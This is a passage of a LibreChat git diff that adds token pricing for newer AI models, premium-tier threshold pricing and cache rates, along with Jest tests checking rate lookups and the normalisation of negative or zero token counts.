+ expect(Math.abs(promptTx.rawAmount)).toBe(0);
+ expect(completionTx.rawAmount).toBe(-100);
+
+ const standardCompletionRate = tokenValues['claude-opus-4-6'].completion;
+ expect(completionTx.rate).toBe(standardCompletionRate);
+ });
+
+ it('should use normalized inputTokenCount for premium threshold check on completion', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'claude-opus-4-6';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-normalized-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const transactions = await Transaction.find({ user: userId }).sort({ tokenType: 1 });
+ const completionTx = transactions.find((t) => t.tokenType === 'completion');
+ const promptTx = transactions.find((t) => t.tokenType === 'prompt');
+
+ const premiumPromptRate = premiumTokenValues[model].prompt;
+ const premiumCompletionRate = premiumTokenValues[model].completion;
+ expect(promptTx.rate).toBe(premiumPromptRate);
+ expect(completionTx.rate).toBe(premiumCompletionRate);
+ });
+
+ it('should keep inputTokenCount as zero when promptTokens is zero', async () => {
+ await Balance.create({
+ user: userId,
+ tokenCredits: 100000000,
+ });
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-zero-prompt',
+ model: 'claude-opus-4-6',
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens: 0, completionTokens: 100 });
+
+ const transactions = await Transaction.find({ user: userId }).sort({ tokenType: 1 });
+ const completionTx = transactions.find((t) => t.tokenType === 'completion');
+ const promptTx = transactions.find((t) => t.tokenType === 'prompt');
+
+ expect(Math.abs(promptTx.rawAmount)).toBe(0);
+
+ const standardCompletionRate = tokenValues['claude-opus-4-6'].completion;
+ expect(completionTx.rate).toBe(standardCompletionRate);
+ });
+
+ it('should not trigger premium pricing with negative promptTokens on premium model', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'claude-opus-4-6';
+ const txData = {
+ user: userId,
+ conversationId: 'test-negative-no-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens: -300000, completionTokens: 500 });
+
+ const transactions = await Transaction.find({ user: userId }).sort({ tokenType: 1 });
+ const completionTx = transactions.find((t) => t.tokenType === 'completion');
+
+ const standardCompletionRate = tokenValues[model].completion;
+ expect(completionTx.rate).toBe(standardCompletionRate);
+ });
+
+ it('should normalize negative structured token values to zero in spendStructuredTokens', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'claude-opus-4-6';
+ const txData = {
+ user: userId,
+ conversationId: 'test-negative-structured',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ const tokenUsage = {
+ promptTokens: { input: -100, write: 50, read: -30 },
+ completionTokens: -200,
+ };
+
+ await spendStructuredTokens(txData, tokenUsage);
+
+ const transactions = await Transaction.find({
+ user: userId,
+ conversationId: 'test-negative-structured',
+ }).sort({ tokenType: 1 });
+
+ const completionTx = transactions.find((t) => t.tokenType === 'completion');
+ const promptTx = transactions.find((t) => t.tokenType === 'prompt');
+
+ expect(Math.abs(promptTx.inputTokens)).toBe(0);
+ expect(promptTx.writeTokens).toBe(-50);
+ expect(Math.abs(promptTx.readTokens)).toBe(0);
+
+ expect(Math.abs(completionTx.rawAmount)).toBe(0);
+
+ const standardRate = tokenValues[model].completion;
+ expect(completionTx.rate).toBe(standardRate);
+ });
+ });
});
diff --git a/api/models/tx.js b/api/models/tx.js
index 6ff105a458..ce14fad3a0 100644
--- a/api/models/tx.js
+++ b/api/models/tx.js
@@ -1,10 +1,27 @@
const { matchModelName, findMatchingPattern } = require('@librechat/api');
const defaultRate = 6;
+/**
+ * Token Pricing Configuration
+ *
+ * Pattern Matching
+ * ================
+ * `findMatchingPattern` (from @librechat/api) uses `modelName.includes(key)` and selects
+ * the LONGEST matching key. If a key's length equals the model name's length (exact match),
+ * it returns immediately. Definition order does NOT affect correctness.
+ *
+ * Key ordering matters only for:
+ * 1. Performance: list older/less common models first so newer/common models
+ * are found earlier in the reverse scan.
+ * 2. Same-length tie-breaking: the last-defined key wins on equal-length matches.
+ *
+ * This applies to BOTH `tokenValues` and `cacheTokenValues` objects.
+ */
+
/**
* AWS Bedrock pricing
* source: https://aws.amazon.com/bedrock/pricing/
- * */
+ */
const bedrockValues = {
// Basic llama2 patterns (base defaults to smallest variant)
llama2: { prompt: 0.75, completion: 1.0 },
@@ -80,6 +97,11 @@ const bedrockValues = {
'nova-pro': { prompt: 0.8, completion: 3.2 },
'nova-premier': { prompt: 2.5, completion: 12.5 },
'deepseek.r1': { prompt: 1.35, completion: 5.4 },
+ // Moonshot/Kimi models on Bedrock
+ 'moonshot.kimi': { prompt: 0.6, completion: 2.5 },
+ 'moonshot.kimi-k2': { prompt: 0.6, completion: 2.5 },
+ 'moonshot.kimi-k2.5': { prompt: 0.6, completion: 3.0 },
+ 'moonshot.kimi-k2-thinking': { prompt: 0.6, completion: 2.5 },
};
/**
@@ -115,9 +137,14 @@ const tokenValues = Object.assign(
'gpt-5': { prompt: 1.25, completion: 10 },
'gpt-5.1': { prompt: 1.25, completion: 10 },
'gpt-5.2': { prompt: 1.75, completion: 14 },
+ 'gpt-5.3': { prompt: 1.75, completion: 14 },
+ 'gpt-5.4': { prompt: 2.5, completion: 15 },
+ // TODO: gpt-5.4-pro pricing not yet officially published — verify before release
+ 'gpt-5.4-pro': { prompt: 5, completion: 30 },
'gpt-5-nano': { prompt: 0.05, completion: 0.4 },
'gpt-5-mini': { prompt: 0.25, completion: 2 },
'gpt-5-pro': { prompt: 15, completion: 120 },
+ 'gpt-5.2-pro': { prompt: 21, completion: 168 },
o1: { prompt: 15, completion: 60 },
'o1-mini': { prompt: 1.1, completion: 4.4 },
'o1-preview': { prompt: 15, completion: 60 },
@@ -139,7 +166,9 @@ const tokenValues = Object.assign(
'claude-haiku-4-5': { prompt: 1, completion: 5 },
'claude-opus-4': { prompt: 15, completion: 75 },
'claude-opus-4-5': { prompt: 5, completion: 25 },
+ 'claude-opus-4-6': { prompt: 5, completion: 25 },
'claude-sonnet-4': { prompt: 3, completion: 15 },
+ 'claude-sonnet-4-6': { prompt: 3, completion: 15 },
'command-r': { prompt: 0.5, completion: 1.5 },
'command-r-plus': { prompt: 3, completion: 15 },
'command-text': { prompt: 1.5, completion: 2.0 },
@@ -163,6 +192,8 @@ const tokenValues = Object.assign(
'gemini-2.5-flash-image': { prompt: 0.15, completion: 30 },
'gemini-3': { prompt: 2, completion: 12 },
'gemini-3-pro-image': { prompt: 2, completion: 120 },
+ 'gemini-3.1': { prompt: 2, completion: 12 },
+ 'gemini-3.1-flash-lite': { prompt: 0.25, completion: 1.5 },
'gemini-pro-vision': { prompt: 0.5, completion: 1.5 },
grok: { prompt: 2.0, completion: 10.0 }, // Base pattern defaults to grok-2
'grok-beta': { prompt: 5.0, completion: 15.0 },
@@ -189,7 +220,31 @@ const tokenValues = Object.assign(
'pixtral-large': { prompt: 2.0, completion: 6.0 },
'mistral-large': { prompt: 2.0, completion: 6.0 },
'mixtral-8x22b': { prompt: 0.65, completion: 0.65 },
- kimi: { prompt: 0.14, completion: 2.49 }, // Base pattern (using kimi-k2 pricing)
+ // Moonshot/Kimi models (base patterns first, specific patterns last for correct matching)
+ kimi: { prompt: 0.6, completion: 2.5 }, // Base pattern
+ moonshot: { prompt: 2.0, completion: 5.0 }, // Base pattern (using 128k pricing)
+ 'kimi-latest': { prompt: 0.2, completion: 2.0 }, // Uses 8k/32k/128k pricing dynamically
+ 'kimi-k2': { prompt: 0.6, completion: 2.5 },
+ 'kimi-k2.5': { prompt: 0.6, completion: 3.0 },
+ 'kimi-k2-turbo': { prompt: 1.15, completion: 8.0 },
+ 'kimi-k2-turbo-preview': { prompt: 1.15, completion: 8.0 },
+ 'kimi-k2-0905': { prompt: 0.6, completion: 2.5 },
+ 'kimi-k2-0905-preview': { prompt: 0.6, completion: 2.5 },
+ 'kimi-k2-0711': { prompt: 0.6, completion: 2.5 },
+ 'kimi-k2-0711-preview': { prompt: 0.6, completion: 2.5 },
+ 'kimi-k2-thinking': { prompt: 0.6, completion: 2.5 },
+ 'kimi-k2-thinking-turbo': { prompt: 1.15, completion: 8.0 },
+ 'moonshot-v1': { prompt: 2.0, completion: 5.0 },
+ 'moonshot-v1-auto': { prompt: 2.0, completion: 5.0 },
+ 'moonshot-v1-8k': { prompt: 0.2, completion: 2.0 },
+ 'moonshot-v1-8k-vision': { prompt: 0.2, completion: 2.0 },
+ 'moonshot-v1-8k-vision-preview': { prompt: 0.2, completion: 2.0 },
+ 'moonshot-v1-32k': { prompt: 1.0, completion: 3.0 },
+ 'moonshot-v1-32k-vision': { prompt: 1.0, completion: 3.0 },
+ 'moonshot-v1-32k-vision-preview': { prompt: 1.0, completion: 3.0 },
+ 'moonshot-v1-128k': { prompt: 2.0, completion: 5.0 },
+ 'moonshot-v1-128k-vision': { prompt: 2.0, completion: 5.0 },
+ 'moonshot-v1-128k-vision-preview': { prompt: 2.0, completion: 5.0 },
// GPT-OSS models (specific sizes)
'gpt-oss:20b': { prompt: 0.05, completion: 0.2 },
'gpt-oss-20b': { prompt: 0.05, completion: 0.2 },
@@ -249,12 +304,64 @@ const cacheTokenValues = {
'claude-3-haiku': { write: 0.3, read: 0.03 },
'claude-haiku-4-5': { write: 1.25, read: 0.1 },
'claude-sonnet-4': { write: 3.75, read: 0.3 },
+ 'claude-sonnet-4-6': { write: 3.75, read: 0.3 },
'claude-opus-4': { write: 18.75, read: 1.5 },
'claude-opus-4-5': { write: 6.25, read: 0.5 },
+ 'claude-opus-4-6': { write: 6.25, read: 0.5 },
+ // OpenAI models — cached input discount varies by family:
+ // gpt-4o (incl. mini), o1 (incl. mini/preview): 50% off
+ // gpt-4.1 (incl. mini/nano), o3 (incl. mini), o4-mini: 75% off
+ // gpt-5.x (excl. pro variants): 90% off
+ // gpt-5-pro, gpt-5.2-pro, gpt-5.4-pro: no caching
+ 'gpt-4o': { write: 2.5, read: 1.25 },
+ 'gpt-4o-mini': { write: 0.15, read: 0.075 },
+ 'gpt-4.1': { write: 2, read: 0.5 },
+ 'gpt-4.1-mini': { write: 0.4, read: 0.1 },
+ 'gpt-4.1-nano': { write: 0.1, read: 0.025 },
+ 'gpt-5': { write: 1.25, read: 0.125 },
+ 'gpt-5.1': { write: 1.25, read: 0.125 },
+ 'gpt-5.2': { write: 1.75, read: 0.175 },
+ 'gpt-5.3': { write: 1.75, read: 0.175 },
+ 'gpt-5.4': { write: 2.5, read: 0.25 },
+ 'gpt-5-mini': { write: 0.25, read: 0.025 },
+ 'gpt-5-nano': { write: 0.05, read: 0.005 },
+ o1: { write: 15, read: 7.5 },
+ 'o1-mini': { write: 1.1, read: 0.55 },
+ 'o1-preview': { write: 15, read: 7.5 },
+ o3: { write: 2, read: 0.5 },
+ 'o3-mini': { write: 1.1, read: 0.275 },
+ 'o4-mini': { write: 1.1, read: 0.275 },
// DeepSeek models - cache hit: $0.028/1M, cache miss: $0.28/1M
deepseek: { write: 0.28, read: 0.028 },
'deepseek-chat': { write: 0.28, read: 0.028 },
'deepseek-reasoner': { write: 0.28, read: 0.028 },
+ // Moonshot/Kimi models - cache hit: $0.15/1M (k2) or $0.10/1M (k2.5), cache miss: $0.60/1M
+ kimi: { write: 0.6, read: 0.15 },
+ 'kimi-k2': { write: 0.6, read: 0.15 },
+ 'kimi-k2.5': { write: 0.6, read: 0.1 },
+ 'kimi-k2-turbo': { write: 1.15, read: 0.15 },
+ 'kimi-k2-turbo-preview': { write: 1.15, read: 0.15 },
+ 'kimi-k2-0905': { write: 0.6, read: 0.15 },
+ 'kimi-k2-0905-preview': { write: 0.6, read: 0.15 },
+ 'kimi-k2-0711': { write: 0.6, read: 0.15 },
+ 'kimi-k2-0711-preview': { write: 0.6, read: 0.15 },
+ 'kimi-k2-thinking': { write: 0.6, read: 0.15 },
+ 'kimi-k2-thinking-turbo': { write: 1.15, read: 0.15 },
+ // Gemini 3.1 Pro - cache write: $2.00/1M, cache read: $0.20/1M
+ 'gemini-3.1': { write: 2, read: 0.2 },
+ // Gemini 3.1 Flash-Lite - cache write: $0.25/1M, cache read: $0.025/1M
+ 'gemini-3.1-flash-lite': { write: 0.25, read: 0.025 },
+};
+
+/**
+ * Premium (tiered) pricing for models whose rates change based on prompt size.
+ * Each entry specifies the token threshold and the rates that apply above it.
+ * @type {Object.}
+ */
+const premiumTokenValues = {
+ 'claude-opus-4-6': { threshold: 200000, prompt: 10, completion: 37.5 },
+ 'claude-sonnet-4-6': { threshold: 200000, prompt: 6, completion: 22.5 },
+ 'gemini-3.1': { threshold: 200000, prompt: 4, completion: 18 },
};
/**
@@ -313,15 +420,27 @@ const getValueKey = (model, endpoint) => {
* @param {string} [params.model] - The model name to derive the value key from if not provided.
* @param {string} [params.endpoint] - The endpoint name to derive the value key from if not provided.
* @param {EndpointTokenConfig} [params.endpointTokenConfig] - The token configuration for the endpoint.
+ * @param {number} [params.inputTokenCount] - Total input token count for tiered pricing.
* @returns {number} The multiplier for the given parameters, or a default value if not found.
*/
-const getMultiplier = ({ valueKey, tokenType, model, endpoint, endpointTokenConfig }) => {
+const getMultiplier = ({
+ model,
+ valueKey,
+ endpoint,
+ tokenType,
+ inputTokenCount,
+ endpointTokenConfig,
+}) => {
if (endpointTokenConfig) {
return endpointTokenConfig?.[model]?.[tokenType] ?? defaultRate;
}
if (valueKey && tokenType) {
- return tokenValues[valueKey][tokenType] ?? defaultRate;
+ const premiumRate = getPremiumRate(valueKey, tokenType, inputTokenCount);
+ if (premiumRate != null) {
+ return premiumRate;
+ }
+ return tokenValues[valueKey]?.[tokenType] ?? defaultRate;
}
if (!tokenType || !model) {
@@ -333,10 +452,33 @@ const getMultiplier = ({ valueKey, tokenType, model, endpoint, endpointTokenConf
return defaultRate;
}
- // If we got this far, and values[tokenType] is undefined somehow, return a rough average of default multipliers
+ const premiumRate = getPremiumRate(valueKey, tokenType, inputTokenCount);
+ if (premiumRate != null) {
+ return premiumRate;
+ }
+
return tokenValues[valueKey]?.[tokenType] ?? defaultRate;
};
+/**
+ * Checks if premium (tiered) pricing applies and returns the premium rate.
+ * Each model defines its own threshold in `premiumTokenValues`.
+ * @param {string} valueKey
+ * @param {string} tokenType
+ * @param {number} [inputTokenCount]
+ * @returns {number|null}
+ */
+const getPremiumRate = (valueKey, tokenType, inputTokenCount) => {
+ if (inputTokenCount == null) {
+ return null;
+ }
+ const premiumEntry = premiumTokenValues[valueKey];
+ if (!premiumEntry || inputTokenCount <= premiumEntry.threshold) {
+ return null;
+ }
+ return premiumEntry[tokenType] ?? null;
+};
+
/**
* Retrieves the cache multiplier for a given value key and token type. If no value key is provided,
* it attempts to derive it from the model name.
@@ -373,8 +515,10 @@ const getCacheMultiplier = ({ valueKey, cacheType, model, endpoint, endpointToke
module.exports = {
tokenValues,
+ premiumTokenValues,
getValueKey,
getMultiplier,
+ getPremiumRate,
getCacheMultiplier,
defaultRate,
cacheTokenValues,
diff --git a/api/models/tx.spec.js b/api/models/tx.spec.js
index f70a6af47c..666cd0a3b8 100644
--- a/api/models/tx.spec.js
+++ b/api/models/tx.spec.js
@@ -1,3 +1,4 @@
+/** Note: No hard-coded values should be used in this file. */
const { maxTokensMap } = require('@librechat/api');
const { EModelEndpoint } = require('librechat-data-provider');
const {
@@ -5,8 +6,10 @@ const {
tokenValues,
getValueKey,
getMultiplier,
+ getPremiumRate,
cacheTokenValues,
getCacheMultiplier,
+ premiumTokenValues,
} = require('./tx');
describe('getValueKey', () => {
@@ -49,6 +52,24 @@ describe('getValueKey', () => {
expect(getValueKey('openai/gpt-5.2')).toBe('gpt-5.2');
});
+ it('should return "gpt-5.3" for model name containing "gpt-5.3"', () => {
+ expect(getValueKey('gpt-5.3')).toBe('gpt-5.3');
+ expect(getValueKey('gpt-5.3-chat-latest')).toBe('gpt-5.3');
+ expect(getValueKey('gpt-5.3-codex')).toBe('gpt-5.3');
+ expect(getValueKey('openai/gpt-5.3')).toBe('gpt-5.3');
+ });
+
+ it('should return "gpt-5.4" for model name containing "gpt-5.4"', () => {
+ expect(getValueKey('gpt-5.4')).toBe('gpt-5.4');
+ expect(getValueKey('gpt-5.4-thinking')).toBe('gpt-5.4');
+ expect(getValueKey('openai/gpt-5.4')).toBe('gpt-5.4');
+ });
+
+ it('should return "gpt-5.4-pro" for model name containing "gpt-5.4-pro"', () => {
+ expect(getValueKey('gpt-5.4-pro')).toBe('gpt-5.4-pro');
+ expect(getValueKey('openai/gpt-5.4-pro')).toBe('gpt-5.4-pro');
+ });
+
it('should return "gpt-3.5-turbo-1106" for model name containing "gpt-3.5-turbo-1106"', () => {
expect(getValueKey('gpt-3.5-turbo-1106-some-other-info')).toBe('gpt-3.5-turbo-1106');
expect(getValueKey('openai/gpt-3.5-turbo-1106')).toBe('gpt-3.5-turbo-1106');
@@ -135,6 +156,12 @@ describe('getValueKey', () => {
expect(getValueKey('gpt-5-pro-preview')).toBe('gpt-5-pro');
});
+ it('should return "gpt-5.2-pro" for model name containing "gpt-5.2-pro"', () => {
+ expect(getValueKey('gpt-5.2-pro')).toBe('gpt-5.2-pro');
+ expect(getValueKey('gpt-5.2-pro-2025-03-01')).toBe('gpt-5.2-pro');
+ expect(getValueKey('openai/gpt-5.2-pro')).toBe('gpt-5.2-pro');
+ });
+
it('should return "gpt-4o" for model type of "gpt-4o"', () => {
expect(getValueKey('gpt-4o-2024-08-06')).toBe('gpt-4o');
expect(getValueKey('gpt-4o-2024-08-06-0718')).toBe('gpt-4o');
@@ -239,6 +266,15 @@ describe('getMultiplier', () => {
expect(getMultiplier({ valueKey: '8k', tokenType: 'unknownType' })).toBe(defaultRate);
});
+ it('should return defaultRate if valueKey does not exist in tokenValues', () => {
+ expect(getMultiplier({ valueKey: 'non-existent-model', tokenType: 'prompt' })).toBe(
+ defaultRate,
+ );
+ expect(getMultiplier({ valueKey: 'non-existent-model', tokenType: 'completion' })).toBe(
+ defaultRate,
+ );
+ });
+
it('should derive the valueKey from the model if not provided', () => {
expect(getMultiplier({ tokenType: 'prompt', model: 'gpt-4-some-other-info' })).toBe(
tokenValues['8k'].prompt,
@@ -324,6 +360,18 @@ describe('getMultiplier', () => {
);
});
+ it('should return the correct multiplier for gpt-5.2-pro', () => {
+ expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.2-pro'].prompt,
+ );
+ expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.2-pro'].completion,
+ );
+ expect(getMultiplier({ model: 'openai/gpt-5.2-pro', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.2-pro'].prompt,
+ );
+ });
+
it('should return the correct multiplier for gpt-5.1', () => {
expect(getMultiplier({ model: 'gpt-5.1', tokenType: 'prompt' })).toBe(
tokenValues['gpt-5.1'].prompt,
@@ -334,8 +382,6 @@ describe('getMultiplier', () => {
expect(getMultiplier({ model: 'openai/gpt-5.1', tokenType: 'prompt' })).toBe(
tokenValues['gpt-5.1'].prompt,
);
- expect(tokenValues['gpt-5.1'].prompt).toBe(1.25);
- expect(tokenValues['gpt-5.1'].completion).toBe(10);
});
it('should return the correct multiplier for gpt-5.2', () => {
@@ -348,8 +394,48 @@ describe('getMultiplier', () => {
expect(getMultiplier({ model: 'openai/gpt-5.2', tokenType: 'prompt' })).toBe(
tokenValues['gpt-5.2'].prompt,
);
- expect(tokenValues['gpt-5.2'].prompt).toBe(1.75);
- expect(tokenValues['gpt-5.2'].completion).toBe(14);
+ });
+
+ it('should return the correct multiplier for gpt-5.3', () => {
+ expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.3'].prompt,
+ );
+ expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.3'].completion,
+ );
+ expect(getMultiplier({ model: 'gpt-5.3-codex', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.3'].prompt,
+ );
+ expect(getMultiplier({ model: 'openai/gpt-5.3', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.3'].completion,
+ );
+ });
+
+ it('should return the correct multiplier for gpt-5.4', () => {
+ expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.4'].prompt,
+ );
+ expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.4'].completion,
+ );
+ expect(getMultiplier({ model: 'gpt-5.4-thinking', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.4'].prompt,
+ );
+ expect(getMultiplier({ model: 'openai/gpt-5.4', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.4'].completion,
+ );
+ });
+
+ it('should return the correct multiplier for gpt-5.4-pro', () => {
+ expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.4-pro'].prompt,
+ );
+ expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.4-pro'].completion,
+ );
+ expect(getMultiplier({ model: 'openai/gpt-5.4-pro', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.4-pro'].prompt,
+ );
});
it('should return the correct multiplier for gpt-4o', () => {
@@ -815,8 +901,6 @@ describe('Deepseek Model Tests', () => {
expect(getMultiplier({ model: 'deepseek-chat', tokenType: 'completion' })).toBe(
tokenValues['deepseek-chat'].completion,
);
- expect(tokenValues['deepseek-chat'].prompt).toBe(0.28);
- expect(tokenValues['deepseek-chat'].completion).toBe(0.42);
});
it('should return correct pricing for deepseek-reasoner', () => {
@@ -826,8 +910,6 @@ describe('Deepseek Model Tests', () => {
expect(getMultiplier({ model: 'deepseek-reasoner', tokenType: 'completion' })).toBe(
tokenValues['deepseek-reasoner'].completion,
);
- expect(tokenValues['deepseek-reasoner'].prompt).toBe(0.28);
- expect(tokenValues['deepseek-reasoner'].completion).toBe(0.42);
});
it('should handle DeepSeek model name variations with provider prefixes', () => {
@@ -840,8 +922,8 @@ describe('Deepseek Model Tests', () => {
modelVariations.forEach((model) => {
const promptMultiplier = getMultiplier({ model, tokenType: 'prompt' });
const completionMultiplier = getMultiplier({ model, tokenType: 'completion' });
- expect(promptMultiplier).toBe(0.28);
- expect(completionMultiplier).toBe(0.42);
+ expect(promptMultiplier).toBe(tokenValues['deepseek-chat'].prompt);
+ expect(completionMultiplier).toBe(tokenValues['deepseek-chat'].completion);
});
});
@@ -860,13 +942,13 @@ describe('Deepseek Model Tests', () => {
);
});
- it('should return correct cache pricing values for DeepSeek models', () => {
- expect(cacheTokenValues['deepseek-chat'].write).toBe(0.28);
- expect(cacheTokenValues['deepseek-chat'].read).toBe(0.028);
- expect(cacheTokenValues['deepseek-reasoner'].write).toBe(0.28);
- expect(cacheTokenValues['deepseek-reasoner'].read).toBe(0.028);
- expect(cacheTokenValues['deepseek'].write).toBe(0.28);
- expect(cacheTokenValues['deepseek'].read).toBe(0.028);
+ it('should have consistent cache pricing across DeepSeek model variants', () => {
+ expect(cacheTokenValues['deepseek'].write).toBe(cacheTokenValues['deepseek-chat'].write);
+ expect(cacheTokenValues['deepseek'].read).toBe(cacheTokenValues['deepseek-chat'].read);
+ expect(cacheTokenValues['deepseek-reasoner'].write).toBe(
+ cacheTokenValues['deepseek-chat'].write,
+ );
+ expect(cacheTokenValues['deepseek-reasoner'].read).toBe(cacheTokenValues['deepseek-chat'].read);
});
it('should handle DeepSeek cache multipliers with model variations', () => {
@@ -875,8 +957,195 @@ describe('Deepseek Model Tests', () => {
modelVariations.forEach((model) => {
const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' });
const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' });
- expect(writeMultiplier).toBe(0.28);
- expect(readMultiplier).toBe(0.028);
+ expect(writeMultiplier).toBe(cacheTokenValues['deepseek-chat'].write);
+ expect(readMultiplier).toBe(cacheTokenValues['deepseek-chat'].read);
+ });
+ });
+});
+
+describe('Moonshot/Kimi Model Tests - Pricing', () => {
+ describe('Kimi Models', () => {
+ it('should return correct pricing for kimi base pattern', () => {
+ expect(getMultiplier({ model: 'kimi', tokenType: 'prompt' })).toBe(
+ tokenValues['kimi'].prompt,
+ );
+ expect(getMultiplier({ model: 'kimi', tokenType: 'completion' })).toBe(
+ tokenValues['kimi'].completion,
+ );
+ });
+
+ it('should return correct pricing for kimi-k2.5', () => {
+ expect(getMultiplier({ model: 'kimi-k2.5', tokenType: 'prompt' })).toBe(
+ tokenValues['kimi-k2.5'].prompt,
+ );
+ expect(getMultiplier({ model: 'kimi-k2.5', tokenType: 'completion' })).toBe(
+ tokenValues['kimi-k2.5'].completion,
+ );
+ });
+
+ it('should return correct pricing for kimi-k2 series', () => {
+ expect(getMultiplier({ model: 'kimi-k2', tokenType: 'prompt' })).toBe(
+ tokenValues['kimi-k2'].prompt,
+ );
+ expect(getMultiplier({ model: 'kimi-k2', tokenType: 'completion' })).toBe(
+ tokenValues['kimi-k2'].completion,
+ );
+ });
+
+ it('should return correct pricing for kimi-k2-turbo (higher pricing)', () => {
+ expect(getMultiplier({ model: 'kimi-k2-turbo', tokenType: 'prompt' })).toBe(
+ tokenValues['kimi-k2-turbo'].prompt,
+ );
+ expect(getMultiplier({ model: 'kimi-k2-turbo', tokenType: 'completion' })).toBe(
+ tokenValues['kimi-k2-turbo'].completion,
+ );
+ });
+
+ it('should return correct pricing for kimi-k2-thinking models', () => {
+ expect(getMultiplier({ model: 'kimi-k2-thinking', tokenType: 'prompt' })).toBe(
+ tokenValues['kimi-k2-thinking'].prompt,
+ );
+ expect(getMultiplier({ model: 'kimi-k2-thinking', tokenType: 'completion' })).toBe(
+ tokenValues['kimi-k2-thinking'].completion,
+ );
+ expect(getMultiplier({ model: 'kimi-k2-thinking-turbo', tokenType: 'prompt' })).toBe(
+ tokenValues['kimi-k2-thinking-turbo'].prompt,
+ );
+ expect(getMultiplier({ model: 'kimi-k2-thinking-turbo', tokenType: 'completion' })).toBe(
+ tokenValues['kimi-k2-thinking-turbo'].completion,
+ );
+ });
+
+ it('should handle Kimi model variations with provider prefixes', () => {
+ const modelVariations = ['openrouter/kimi-k2', 'openrouter/kimi-k2.5', 'openrouter/kimi'];
+
+ modelVariations.forEach((model) => {
+ const promptMultiplier = getMultiplier({ model, tokenType: 'prompt' });
+ const completionMultiplier = getMultiplier({ model, tokenType: 'completion' });
+ expect(promptMultiplier).toBe(tokenValues['kimi'].prompt);
+ expect([tokenValues['kimi'].completion, tokenValues['kimi-k2.5'].completion]).toContain(
+ completionMultiplier,
+ );
+ });
+ });
+ });
+
+ describe('Moonshot Models', () => {
+ it('should return correct pricing for moonshot base pattern (128k pricing)', () => {
+ expect(getMultiplier({ model: 'moonshot', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot', tokenType: 'completion' })).toBe(
+ tokenValues['moonshot'].completion,
+ );
+ });
+
+ it('should return correct pricing for moonshot-v1-8k', () => {
+ expect(getMultiplier({ model: 'moonshot-v1-8k', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot-v1-8k'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot-v1-8k', tokenType: 'completion' })).toBe(
+ tokenValues['moonshot-v1-8k'].completion,
+ );
+ });
+
+ it('should return correct pricing for moonshot-v1-32k', () => {
+ expect(getMultiplier({ model: 'moonshot-v1-32k', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot-v1-32k'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot-v1-32k', tokenType: 'completion' })).toBe(
+ tokenValues['moonshot-v1-32k'].completion,
+ );
+ });
+
+ it('should return correct pricing for moonshot-v1-128k', () => {
+ expect(getMultiplier({ model: 'moonshot-v1-128k', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot-v1-128k'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot-v1-128k', tokenType: 'completion' })).toBe(
+ tokenValues['moonshot-v1-128k'].completion,
+ );
+ });
+
+ it('should return correct pricing for moonshot-v1 vision models', () => {
+ expect(getMultiplier({ model: 'moonshot-v1-8k-vision', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot-v1-8k-vision'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot-v1-8k-vision', tokenType: 'completion' })).toBe(
+ tokenValues['moonshot-v1-8k-vision'].completion,
+ );
+ expect(getMultiplier({ model: 'moonshot-v1-32k-vision', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot-v1-32k-vision'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot-v1-32k-vision', tokenType: 'completion' })).toBe(
+ tokenValues['moonshot-v1-32k-vision'].completion,
+ );
+ expect(getMultiplier({ model: 'moonshot-v1-128k-vision', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot-v1-128k-vision'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot-v1-128k-vision', tokenType: 'completion' })).toBe(
+ tokenValues['moonshot-v1-128k-vision'].completion,
+ );
+ });
+ });
+
+ describe('Kimi Cache Multipliers', () => {
+ it('should return correct cache multipliers for kimi-k2 models', () => {
+ expect(getCacheMultiplier({ model: 'kimi', cacheType: 'write' })).toBe(
+ cacheTokenValues['kimi'].write,
+ );
